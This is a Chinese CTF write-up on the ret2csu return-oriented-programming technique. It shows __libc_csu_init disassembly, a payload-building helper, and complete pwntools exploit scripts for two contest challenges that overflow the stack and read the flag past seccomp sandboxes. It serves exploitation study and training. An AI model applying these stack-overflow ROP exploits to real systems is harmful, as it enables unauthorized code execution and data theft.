ret2csu

文章发布时间:

最后更新时间:

最近才见到一题用csu解题的
顺便整理一波
做栈题经常能看见__libc_csu_init这个函数,能不能加以利用呢

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。
这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。
这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。
__libc_csu_init in IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
.text:0000000000400900                               ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:0000000000400900 public __libc_csu_init
.text:0000000000400900 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400900 ; __unwind {
.text:0000000000400900 41 57 push r15
.text:0000000000400902 41 56 push r14
.text:0000000000400904 49 89 D7 mov r15, rdx
.text:0000000000400907 41 55 push r13
.text:0000000000400909 41 54 push r12
.text:000000000040090B 4C 8D 25 7E 04 20 00 lea r12, __frame_dummy_init_array_entry
.text:0000000000400912 55 push rbp
.text:0000000000400913 48 8D 2D 7E 04 20 00 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040091A 53 push rbx
.text:000000000040091B 41 89 FD mov r13d, edi
.text:000000000040091E 49 89 F6 mov r14, rsi
.text:0000000000400921 4C 29 E5 sub rbp, r12
.text:0000000000400924 48 83 EC 08 sub rsp, 8
.text:0000000000400928 48 C1 FD 03 sar rbp, 3
.text:000000000040092C E8 4F FD FF FF call _init_proc
.text:000000000040092C
.text:0000000000400931 48 85 ED test rbp, rbp
.text:0000000000400934 74 20 jz short loc_400956
.text:0000000000400934
.text:0000000000400936 31 DB xor ebx, ebx
.text:0000000000400938 0F 1F 84 00 00 00 00 00 nop dword ptr [rax+rax+00000000h]
.text:0000000000400938
.text:0000000000400940
.text:0000000000400940 loc_400940: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400940 4C 89 FA mov rdx, r15
.text:0000000000400943 4C 89 F6 mov rsi, r14
.text:0000000000400946 44 89 EF mov edi, r13d
.text:0000000000400949 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600D90h)[r12+rbx*8]
.text:0000000000400949
.text:000000000040094D 48 83 C3 01 add rbx, 1
.text:0000000000400951 48 39 DD cmp rbp, rbx
.text:0000000000400954 75 EA jnz short loc_400940
.text:0000000000400954
.text:0000000000400956
.text:0000000000400956 loc_400956: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400956 48 83 C4 08 add rsp, 8
.text:000000000040095A 5B pop rbx
.text:000000000040095B 5D pop rbp
.text:000000000040095C 41 5C pop r12
.text:000000000040095E 41 5D pop r13
.text:0000000000400960 41 5E pop r14
.text:0000000000400962 41 5F pop r15
.text:0000000000400964 C3 retn
.text:0000000000400964 ; } // starts at 400900
.text:0000000000400964
.text:0000000000400964 __libc_csu_init endp

first_csu

1
2
3
4
5
6
7
8
9
.text:0000000000400956                               loc_400956:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400956 48 83 C4 08 add rsp, 8
.text:000000000040095A 5B pop rbx
.text:000000000040095B 5D pop rbp
.text:000000000040095C 41 5C pop r12
.text:000000000040095E 41 5D pop r13
.text:0000000000400960 41 5E pop r14
.text:0000000000400962 41 5F pop r15
.text:0000000000400964 C3 retn

second_csu

1
2
3
4
5
6
7
8
9
.text:0000000000400940                               loc_400940:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400940 4C 89 FA mov rdx, r15
.text:0000000000400943 4C 89 F6 mov rsi, r14
.text:0000000000400946 44 89 EF mov edi, r13d
.text:0000000000400949 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600D90h)[r12+rbx*8]
.text:0000000000400949
.text:000000000040094D 48 83 C3 01 add rbx, 1
.text:0000000000400951 48 39 DD cmp rbp, rbx
.text:0000000000400954 75 EA jnz short loc_400940

在first_csu,我们可以靠栈溢出的数据构造来控制rbx,rbp,r12,r13,r14,r15 寄存器的数据
在second_csu,r15赋值给rdx,r14赋值给rsi,r13d赋值给edi
(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0
,所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位)

在0x40094D
我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行loc_400940,
进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1

手搓

1
2
3
4
5
6
7
8
9
def ret2csu(rbx,rbp,r12,r13,r14,r15):
payload = 'a'*(padding)
payload += p64(first_csu)
payload += p64(rbx)+p64(rbp)#一般:rbx = 0 ,rbp = 1
payload += p64(r12) #call.addr
payload += p64(r13) + p64(r14) + p64(r15) #三个参数
payload += p64(second_csu)
payload += 'a'*( 7 * 8 )
return payload

pwntools集成(stack privoting_version)

1
2
3
4
5
6
7
8
from pwn import*
context(arch='amd64', os='linux')
r = ROP(binary_file)
r.ret2csu(edi=0, rsi=0x601038, rdx=0x200, rbp=0x601038, call=elf.got['read'])
payload += r.chain()
payload += p64(leave_ret)
payload = payload.ljust(0x100, b'a')
p.send(payload)

[鹏城杯2023 silent]
checksec,full relro

1
2
3
4
5
6
[*] '/mnt/Desktop/鹏城/silent/silent'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

开了沙盒
程序很简单,很多函数都没法复用
有csu,能用read

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[64]; // [rsp+10h] [rbp-40h] BYREF

init_seccomp();
alarm(0x1Eu);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
read(0, buf, 0x100uLL);
return 0;
}

ret2csu改stdin为read
多次call read来泄露libc
并写入orw的shellcode
看wp是1/4096的概率打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from pwn import p64,u64
binary = ELF("./silent")
def exploit():
#p = process("./silent")
p=remote('172.10.0.8',9999)
#context.log_level = 'debug'
context.log_level = 'error'
# pause()
pop_rdi = 0x0000000000400963
pop_rsi_r15 = 0x0000000000400961
mov_rax_got = 0x0000000000400869
leave_ret = 0x0000000000400876

payload = b'a' * 0x48
context.arch = 'amd64'
r = ROP(binary)
r.ret2csu(edi=0, rsi=0x601038, rdx=0x110, rbp=0x601038, call=binary.got['read'])
payload += r.chain()
payload += p64(leave_ret)
payload = payload.ljust(0x100, b'a')
p.send(payload)

jmp_rbp = 0x0000000000400a93 # : jmp qword ptr [rbp];
payload = b'a' * 8
r = ROP(binary)
r.ret2csu(edi=0, rsi=0x601030, rdx=3, rbp=0x601030, call=binary.got['read'])
payload += r.chain()
payload += p64(pop_rdi)
payload += p64(0x600fd8)#[0x600fd8] alarm@GLIBC_2.2.5 -> 0x7ffff7e772c0 (alarm) ◂— mov eax, 0x25
payload += p64(jmp_rbp)
r = ROP(binary)
r.ret2csu(edi=0, rsi=0x601148, rdx=0x100, rbp=0x601030, call=binary.got['read'])
payload += r.chain()
p.send(payload)
# pause()
# sleep(0.5)
p.send(b'\x70\x29\x84')
try:
libc = u64(p.recvline(timeout=1)[:-1].ljust(8, b'\x00')) - 0xe44f0
except:
p.close()
else:
if libc < 0:
return
success(f"libc: {hex(libc)}")
pop_rsi = libc + 0x0000000000023a6a
pop_rdx = libc + 0x0000000000001b96
ret = 0x0000000000400696
flag_str = 0x6011e0
# payload = p64(one_gadget)
payload = p64(pop_rdi)
payload += p64(flag_str)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(libc + 0x10fbf0) # open

payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(flag_str)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(libc + 0x110020) # read

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(flag_str)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(libc + 0x1100f0) # write

payload += b'./flag'
# pause()
sleep(1)
p.send(payload)
p.interactive()
p.close()
exit(0)

count = 0
while True:
print(f"try: {count}")
count += 1
exploit()
p.interactive()

[DASCTF11月月赛(2023) A_Sad_story]
开了pie

直接看主要的漏洞点,这里有个选择

选一可以拿到基址

选二可以有次溢出(长度几乎无限制)

但是走完会有段sandbox


直接上exp,记录这波sandbox的绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
libc = ELF('./libc-2.31.so')
elf = ELF('./challenge')

p = process("./challenge")
#p = remote("node4.buuoj.cn", 28133)

def elf_base():
p.sendlineafter(b': ', b'1')
p.sendlineafter(b': ', b'1')
p.recvuntil(b'0x')
value = int(p.recv(12), 16) - 0x1249
return value

elf.address = elf_base()
success("elf--> %s" + hex(elf.address))

csu1 = elf.address + 0x1620
csu2 = elf.address + 0x163a

offset = b'a' * 0x38

# Craft the ROP chain
rop_chain = [
csu2, 0, 1, 0, elf.got['close'], 1, elf.got['read'],
csu1, 0, 0, 0, 0, 0, 0, 0,
csu2, 0, 1, 0, elf.address + 0x4280, 257, elf.got['read'],
csu1, 0, 0, 0, 0, 0, 0, 0,
csu2, 0, 1, 0, elf.address + 0x4280, 0, elf.got['close'],
csu1, 0, 0, 0, 0, 0, 0, 0,
csu2, 0, 1, 1, elf.address + 0x4280, 0x30, elf.got['read'],
csu1, 0, 0, 0, 0, 0, 0, 0,
csu2, 0, 1, 0, elf.address + 0x4280 + 0x30, 1, elf.got['read'],
csu1, 0, 0, 0, 0, 0, 0, 0,
csu2, 0, 1, 2, elf.address + 0x4280, 0x30, elf.got['close'],
csu1
]

#大佬的构造,以下我改成我熟悉的样子(
def ret2csu(rbx,rbp,r12,r13,r14,r15):
payload = p64(csu2)
payload += p64(rbx)+p64(rbp)#一般:rbx = 0 ,rbp = 1
payload += p64(r12) #call.addr
payload += p64(r13) + p64(r14) + p64(r15) #三个参数
payload += p64(csu1)
payload += p64(0)*7
return payload

rop_chain =ret2csu(0,1,0,elf.got['close'],1,elf.got['read'])
rop_chain +=ret2csu(0, 1, 0, elf.address + 0x4280, 257, elf.got['read'])
rop_chain +=ret2csu(0, 1, 0, elf.address + 0x4280, 0, elf.got['close'])
rop_chain +=ret2csu(0, 1, 1, elf.address + 0x4280, 0x30, elf.got['read'])
rop_chain +=ret2csu(0, 1, 0, elf.address + 0x4280 + 0x30, 1, elf.got['read'])
rop_chain +=ret2csu(0, 1, 2, elf.address + 0x4280, 0x30, elf.got['close'])
payload2 = rop_chain

payload = b''.join([p64(addr) for addr in rop_chain])

p.sendline(b'2')
p.sendline(offset + payload)
p.send(b'\x15')
p.send(b'/flag' + b'\x00' * (257 - 5))
p.send(b'\x00' * 1)
p.interactive()